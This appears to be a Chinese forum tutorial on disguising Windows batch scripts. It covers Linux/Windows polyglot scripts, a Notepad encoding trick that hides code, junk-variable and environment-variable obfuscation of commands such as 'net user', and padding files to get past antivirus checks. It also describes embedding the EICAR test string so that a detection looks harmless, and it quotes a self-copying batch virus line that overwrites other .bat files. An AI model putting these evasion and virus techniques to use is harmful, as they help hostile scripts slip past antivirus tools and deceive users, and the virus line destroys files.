【教程】BAT加密的几个小方法
1.编写能在LINUX与WINDOWS同时运行的BAT脚本2.批处理脚本的加密解密
3.加入欺骗代码
4.代码中插入圾伪代码
5.BAT的免查杀
6.综合利用
1:编写能在LINUX与WINDOWS同时运行的BAT脚本
为什么能编写出这样的脚本?
因为BAT有一个特性,他会忽略一些简单的错误,(也就是错误的命令他只会返回一个错误信息,并不
退出BAT脚本,而是会执行下一个命令,直到全部命令执行完毕,不管对错!)
利用个特性我们就可以在脚本前面写上LINUX的shell脚本,让BAT忽略报错!
而LINUX的shell脚本是按顺序执行的,(他不忽略简单错误,遇到错误马上退出脚本,但是前面没报错的脚本会被执行)
遇到错误就会退出,把BAT脚本的命令下在LINUX shell脚本后面!!这样就能写出一个能在多操作系统运行的脚本!
具体编写:
这样的BAT脚本必须先在LINUX下先编写出LINUX部分的脚本代码!因为LINUX与WINDOWS的回车换行符号不一样,
所以如果直接在WINDOWS下编写完全部代码的话,将无法在LINUX shell下执行脚本,(WINDOWS的回车换行符号会使命令错误)
例如: 在LINUX shell下输入:| vi lin.bat (用vi打开新建一个文件名为lin.bat的文件)
| #!/bin/bash (进入编辑状态后输入的内容)
| ls /
|
编写完保存后,将文件拿到WINDOWS下来用记事本打开,接着在后面加上一条net user命令
例如: | #!/bin/bash
ls /
(这是WINDOWS读取在LINXU编写文件后的内容,不要修改!)
| net user
保存好后,直接在WINDOWS下执行,这样在执行到net user时就会正确执行了,
在linux下用bash lin.bat执行后,执行到net user 时就会退出了!!
(本人已经测试过了!完全可以!)
2.批处理脚本的加密解密
批处理脚本的加密解密方法有多种,用得最多的是直接将bat转换成exe文件,大家直接到baidu搜索BAT转EXE,就知道怎么干了,
我今天教大叫其他一个简单的方法,直接将以下内容复制到一个空文文件里
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
@echo off
net user
net start
命令部分随便输入,但是命令后面不要有空格
破解方法:直接在cmd下用edit打开或者用word打开
原理:
记事本程序在保存一篇新建的文档时,如果没有指定编码类型,会使用缺省的ANSI类型(对于中文版来说,对应的就是GB码)。
而在打开一篇已创建的文档时,它会分析文档的编码类型,它首先判断文档头部有无BOM(Byte Order Mark,字节序标记,长
度为(2-3字节),如有则根据其内容判断编码类型,FF、FE(Unicode),FE、FF(Unicode big endian),EF、BB、BF(UTF-8)
因为事实上有很多非ANSI编码的文档是没有任何BOM的“纯文本”,所以对这些文档不能简单的判断为ANSI编码。
而需要使用一系列的统计学算法根据文档内容来猜测文档编码。记事本使用了 IsTextUnicode 函数来判断是否为
Unicode/Unicode big endian 编码,使用 IsTextUTF8 判断是否为 UTF8 编码。但既然是统计学算法,就难免存在误判
,尤其在文档内容过短时,由于样本的容量太小,这种误判的概率会显著增大。比如那个有名的微软与联通有仇的笑话,
就是记事本在打开只有"联通"二字的ANSI编码文档时,IsTextUTF8 函数将其误判为UTF8编码[2];同样的误判也发生在
IsTextUnicode 函数上,比如具有 “this app can break”这种具有4335结构的文档,会被误判为 Unicode 编码[3][4]。
需要说明的是,这种误判的可能性是建立在文本较短且其字节位特征不被干扰的前提上的。如果将上述的文本做稍许修改(即使只是增加一个回车),则误判很难再发生。
而这种方法的特殊性在于,它的字节串不但具有Unicode特征,而且很长达到了1288字节,也就是说它的Unicode特征性很强,所以可以抵抗一些较短的不具有Unicode特征串的干扰,这是由统计学的规律所决定的。但是在干扰串稍长时,Unicode的特征将会受到显著干扰,直至被 IsTextUnicode 函数认定为非 Unicode。所以,有些朋友总是无法测试成功,应该是与附加的批处理代码长度和内容相关。
因为其他的编辑器(比如 Word / Wordpad / EditPlus / UltraEdit)使用了更新的编码类型判断算法,所以在 Unicode 判断上改进了不少,而 UTF8 的判断仍然不尽如人意。但因为理论上来说完全准确地算法并不存在,所以我们只能依靠避免使用无BOM的非ANSI文档,或者打开文档时手动指定编码类型。
另外,如果使用记事本保存了这些误判了编码类型的文件,则将难以恢复。如果使用误判编码保存,则将给原文档加上BOM标记,则使用其他编辑器也再无法观察到原文档。如果使用 ANSI 编码保存,则原文档将会被当作 Unicode 文档而被转换,还原的可能性接近于零。
3.加入欺骗代码
骗代码就是其他一些病毒的特征码,加到我们自己的程序中来,让杀毒软件报错病毒型号,达到欺骗用户的目录
我们可以在BAT中加入EICAR测试文件
他是来自EICAR的一个com文件(有兴趣的朋友可以到http://www.去看看),他是用来测试反病毒软件的杀毒能力的一个测试文件.
我们将EICAR加入BAT中后,BAT就会提示报毒,但是病毒类型是EICAR,这样反病毒软件的提示并不会引起人们的注意.
下面是EICAR测试文件的内容:
[]X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*[]
BAT病毒代码(假设)
[]for %%a in (*.bat) do copy %0 %%a[]
(由于上面代码报毒,加了两符号,防止动画小组错把文本杀掉...)
4.代码中插入圾伪代码
什么是"垃圾伪代码"?垃圾伪代码就是写在有效代码中间,但是在运行的时候没有任何作用的代码.
BAT中如何实现这一功能呢?很简单,我们只需要用set定义一个空变量就可以了
例如:
@echo off
set snj=
%snj%n%snj%%snj%%snj%e%snj%%snj%%snj%t%snj%%snj%%snj% %snj%%snj%%snj%u%snj%se%snj%%snj%%snj%%snj%r%snj%%snj%%snj%
看完上面的代码你知道我写的BAT内容是什么吗??
其实就是net user
5.BAT的免查杀
BAT的免查杀非常简单,一般杀毒软件对BAT的查杀只是检查一下前1000 Byte,看有没有特征码!
因为我们的BAT能忽略简单的错误,所以我们可以在前面胡乱加入一些命令,1000 Byte左右,这样就能免查杀了.
不过有时后这种方法不灵,那我们就得用到,代码中插入圾伪代码这个技巧了.
我演示一下!
6.综合利用
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
cls
@%ComSpec:~-1,1%%USERPROFILE:~5,1%h%HOMEPATH:~2,1% off
%windir:~-1,1%%ComSpec:~-1,1%%tmp:~-4,1% snj=
%ALLUSERSPROFILE:~11,1%%snj%%ALLUSERSPROFILE:~8,1%%snj%t love=23nw)svt(05454s756efgdf%snj%54.4566gfr6z6
%windir:~-1,1%%ComSpec:~-1,1%%tmp:~-4,1% love=%love:v=e%
%ALLUSERSPROFILE:~11,1%%snj%%ALLUSERSPROFILE:~8,1%t love=%love:(=u%
%ALLUSERSPROFILE:~11,1%%ALLUSERSPROFILE:~8,1%t gad=%love:~2,1%%love:~6,1%%love:~-29,1%
%snj%%gad%%snj% %snj%%snj%us%love:~6,1%%love:~-4,1%%snj%%
大家一眼看不出这是什么命令了吧,其实这就是一条net user
利用了"代码中插入圾伪代码" 与 "批处理脚本的加密"
这个加密方法是读取系统变量值中指定的字母的方法